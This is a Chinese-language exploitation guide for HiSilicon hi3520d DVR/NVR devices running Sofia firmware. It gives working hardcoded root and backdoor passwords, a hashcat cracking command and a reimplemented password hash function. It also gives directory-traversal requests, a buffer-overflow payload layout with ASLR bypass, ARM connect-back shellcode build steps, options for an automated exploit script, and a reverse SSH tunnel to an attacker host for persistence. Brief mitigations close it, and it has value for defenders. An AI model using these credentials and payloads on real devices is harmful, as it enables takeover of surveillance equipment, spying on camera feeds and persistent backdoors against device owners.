HiSilicon DVR 漏洞分析与利用指南
1. 漏洞概述
本文档详细分析了HiSilicon hi3520d SoC构建的DVR/NVR设备中存在的多个严重安全漏洞,包括:
- 硬编码后门密码 - 存在默认telnet密码
- 权限提升漏洞 - 任意应用账户可获取root shell
- 后门应用密码 - 通用密码可绕过认证
- 缓冲区溢出漏洞 - 可导致远程代码执行
- 目录遍历漏洞 - 可读取任意文件
这些漏洞组合可导致未经授权的远程代码执行(RCE)和设备的完全控制。
2. 设备分析
2.1 设备接口
测试设备标记为"Seculink",主要接口包括:
- 2个USB端口
- HDMI和VGA输出
- 4个BNC连接器(模拟CCTV)
- SATA存储接口
- 以太网端口
2.2 服务扫描结果
端口扫描发现以下开放服务:
- 23/tcp: BusyBox telnetd
- 80/tcp: uc-httpd 1.0.0
- 554/tcp: RTSP服务
- 9527/tcp: 应用控制台
- 34567/tcp: 数据端口
- 34599/tcp: 未知服务
3. 漏洞详细分析
3.1 硬编码后门密码
在/etc/passwd中发现root用户的DES密码hash:
root:absxcfbgXtb3o:0:0:root:/:/bin/sh
使用hashcat破解:
./hashcat64.bin -a3 -m1500 absxcfbgXtb3o -1 ?l?d ?1?1?1?1?1?1
破解结果为密码xc3511,可通过telnet(23/tcp)直接获取root访问。
3.2 权限提升漏洞
通过9527/tcp端口可访问应用控制台,使用任意应用凭据登录后执行shell命令可直接获取root shell。
3.3 后门应用密码
认证函数中存在硬编码后门密码I0TO5Wv9,可用于:
- 以任何用户身份登录Web界面
- 访问RTSP视频流
- 通过应用控制台获取root shell
3.4 密码哈希算法
逆向分析发现密码哈希函数实现如下(Python):
import hashlib
def sofia_hash(msg):
h = ""
m = hashlib.md5()
m.update(msg)
msg_md5 = m.digest()
for i in range(8):
n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e
if n > 9:
if n > 35:
n += 61
else:
n += 55
else:
n += 0x30
h += chr(n)
return h
空密码的哈希值为tlJwpbo6。
3.5 缓冲区溢出漏洞
Web服务器(80/tcp)处理GET请求时存在缓冲区溢出漏洞:
GET /[大量字符] HTTP
通过精心构造的请求可控制程序流:
- 无NX保护(stack可执行)
- 无ASLR保护(默认关闭)
- 无栈保护(canary)
3.6 目录遍历漏洞
通过构造特殊路径可读取任意文件:
GET ../../etc/passwd HTTP
GET ../../proc/[pid]/smaps HTTP
4. 漏洞利用
4.1 获取固件
通过root shell获取固件:
cat /dev/mtdblock1 > /home/mtdblock1-root.img
cat /dev/mtdblock2 > /home/mtdblock2-usr.img
...
4.2 远程调试
使用gdbserver附加到目标进程:
/mnt/mtd/gdbserver --attach :2000 [pid]
本地连接:
gdb -ex 'set gnutarget elf32-littlearm' -ex 'target remote [target_ip]:2000'
4.3 缓冲区溢出利用
4.3.1 Shellcode编写
ARM架构的connect-back shellcode示例:
.section .text
.global _start
.code 32
_0: add r1, pc, #1
_4: bx r1
.code 16
_start:
; [shellcode实现细节...]
编译shellcode:
armv7a-hardfloat-linux-gnueabi-as shellcode.S -o shellcode.o
armv7a-hardfloat-linux-gnueabi-ld.bfd shellcode.o -o shellcode
armv7a-hardfloat-linux-gnueabi-objcopy -O binary --only-section=.text ./shellcode ./shellcode.bin
4.3.2 绕过ASLR
通过目录遍历读取/proc/[pid]/smaps获取栈地址:
GET ../../proc/610/smaps HTTP
分析smaps文件确定栈区域基址。
4.3.3 构造Payload
最终payload结构:
GET [shellcode][padding][return_address] HTTP
其中return_address指向shellcode起始地址。
4.4 自动化利用脚本
提供Python脚本pwn_hisilicon_dvr.py自动化利用过程,主要参数:
--rhost: 目标主机
--lhost: 回调IP
--lport: 回调端口
-p: 持久化
-u: 上传工具
5. 后渗透利用
获取RCE后可:
- 上传工具(如Dropbear SSH服务器)
- 建立持久化后门
- 创建反向SSH隧道
示例:
./dropbear -r ./dropbear_ecdsa.key -p 127.0.0.1:22
./ssh -i ./id_rsa.dropbear -N -f -T -R 2322:localhost:22 user@attacker_ip
6. 受影响设备
大量使用HiSilicon hi3520d SoC和"Sofia"固件的设备受影响,包括但不限于:
- Vacron
- Gess
- Jufeng
- LuxVision
- 其他多个品牌
7. 缓解措施
- 隔离设备网络
- 禁用不必要的服务(telnet等)
- 更新到最新固件(如果可用)
- 使用强密码
- 限制网络访问
8. 结论
HiSilicon DVR设备存在多个严重漏洞,组合利用可导致设备完全控制。由于缺乏固件更新,建议替换这些设备或严格隔离其网络访问。